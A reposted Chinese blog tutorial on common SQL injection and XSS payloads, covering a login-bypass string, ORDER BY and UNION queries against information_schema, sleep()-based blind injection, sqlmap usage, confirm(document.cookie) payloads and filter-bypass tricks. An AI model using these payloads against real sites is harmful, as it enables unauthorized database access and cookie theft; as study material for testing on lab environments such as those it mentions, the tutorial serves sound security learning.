常见sql注入语句和xss注入语句

常见sql注入语句和xss注入语句1and1 1 或者 1 and 1 1 判断注入的类型 1orderby1 2 3 4 数字类型为例 判断当前表存在多少个属性字段 1 unionselect1 table namefrominfo schema tableswheret schema database 通过占位获取的数据库名去 MySQL 的元数据表 information schema 中查表名 1 unionselect1 c

一、sql注入

前提:对用户输入的用户和密码未做任何校验以及处理

可绕过登录的万能语句  “1′ or ‘1’=’1”  (一般登录用户和密码都是字符串类型)

1.order by 1,2,3,4… 判断表的字段个数,一般占位的个数超过字段数时,页面会报错;下图报错为未知列5,一般此处可判断字段的个数为4;可通过占位数字是否在页面有回显,如果2,3回显的话,我们可替换占位为database()获取当前库名,user()为当前用户(version()版本等)

常见sql注入语句和xss注入语句

2.然后通过mysql的元数据表对数据库中所有表进行查看,猜字段,判断用户表

select table_name from information_schema.tables where table_schema=’database()’; 

table_schema字段对应的是库名值

…….

3.若存在类似user的用户表,可直接查看用户信息

4.通过sqlmap来检测注入漏洞

简单的sqlmap -u “http://baidu.com”

sqlmap -r  数据包文件.txt (此处数据包可通过burpsuite抓取并写入txt文件)

5.sleep判断注入

select * from users where id =1 and if (user()=”root@localhost”,sleep(5),null);如果存在默认用户,则查询结果的时间会延时5秒 

select * from users where id =1 and if (substr(users(),1,1)=”r”,sleep(5),null);逐字判断

常见sql注入语句和xss注入语句

 ….union注入的方式与前面有一点点区别

二、xss

常见的payload      可换成confirm(document.cookie)

confirm和alert可互换

学会闭包前端源码的<、>符号;

检查工具 xxstrike、xsser

部分防护手段都是通过前端校验对特殊符号进行实体化 转译、正则排除等;可直接通过burpsuite抓包改包放包 去绕过前端校验

如果后台做了校验,可以尝试大小写、双写标签绕过

实测过web应用,大部分xss都是“间接引用”触发;输入payload直接触发的情况比较少见

常用的web漏洞工具 awvs(推荐)、appscan(比较常规性)、netsparker、nitko、owasp、xray等

补充:可通过搭建vulnhub官网发布的漏洞环境进行漏洞复现

快速访问github连接

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/229817.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月16日 下午3:48
下一篇 2026年3月16日 下午3:49


相关推荐

  • 干货!Spring Cloud微服务架构进阶,你还不了解的都在这里「建议收藏」

    干货!Spring Cloud微服务架构进阶,你还不了解的都在这里「建议收藏」前言近年来,微服务架构一直是互联网技术圈的热点之一,越来越多的互联网应用都采用了微服务架构作为系统构建的基础,很多新技术和理念如Docker、Kubernetes、DevOps、持续交付、ServiceMesh等也都在关注、支持和跟随微服务架构的发展。今天咱们就为大家推荐一本学习微服务架构进阶的秘籍,将会系统性地介绍微服务架构:包括微服务架构是如何演进的,微服务架构的主要流派,当前主流的云原生应用与微服务之间的关系等。下面就跟着小编一起来一探究竟吧~~~本书特点本书在介绍Spring

    2022年6月21日
    58
  • 灵感分享|10个优秀网站设计实例赏析及原型分享

    灵感分享|10个优秀网站设计实例赏析及原型分享网页设计师们经常会浏览高质量的网页设计作品分享网站 来解决灵感枯竭的问题 因为在这些优秀的网站设计实例中可以看到某些趋势 诸如 扁平化设计 视差滚动 响应式设计 流行配色设计等等 今天小摹为大家带来 10 个优秀网站设计实例 希望能为网页设计师们带来好的灵感 01 Ester 在这个网页设计中 采用了流行的插画风格 动态的草图插画使这些插画的纹理非常的清晰 有非常明显的手工迹象

    2026年3月19日
    2
  • 送学计算机男生什么礼物好,【十大男生喜欢的礼物】男生渴望收到什么礼物_主妇网…「建议收藏」

    送学计算机男生什么礼物好,【十大男生喜欢的礼物】男生渴望收到什么礼物_主妇网…「建议收藏」下周就是一年一度的西方情人节了,有恋人的都已经在想购买什么礼物给自己的爱人了。有心上人的也想着是不是要在情人节表白,想要让自己的男友开心,就一定要想好有什么礼物可以送给对方啦!小编整理了男生最渴望收到的礼物排行榜,希望能够给你一些启发哦!一、钱包钱包对于男人而言是为数不多的几件装饰品之一,而且也非常的实用,不论对方是不是已经有钱包了,你还是可以买一个给他。让对方在日常生活中拿出钱包就想起了你,而且…

    2022年7月25日
    12
  • Qt 快速入门指南

    Qt 快速入门指南Qt 快速入门指南

    2026年3月17日
    1
  • RTX3060安装pytorch

    RTX3060安装pytorchRTX3060安装pytorch1安装anaconda2查看本机显卡支持的cuda最高版本(2)根据pytorch版本选择要安装的CUDA(3)下载安装CUDA(4)下载cudNN(5)下载安装刚刚选择的pytorch版本前不久刚刚入手了一台新电脑,显卡为RTX3060,在安装环境的时候,踩了不少坑,现在将经验总结如下:1安装anaconda这个可以看这个教程:https://blog.csdn.net/in546/article/details/117400839需要注意的是,要记得添加到环

    2026年4月16日
    12
  • 深入解析OpenClaw:火爆背后的AI智能体架构与技术栈实现

    深入解析OpenClaw:火爆背后的AI智能体架构与技术栈实现

    2026年3月15日
    1

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号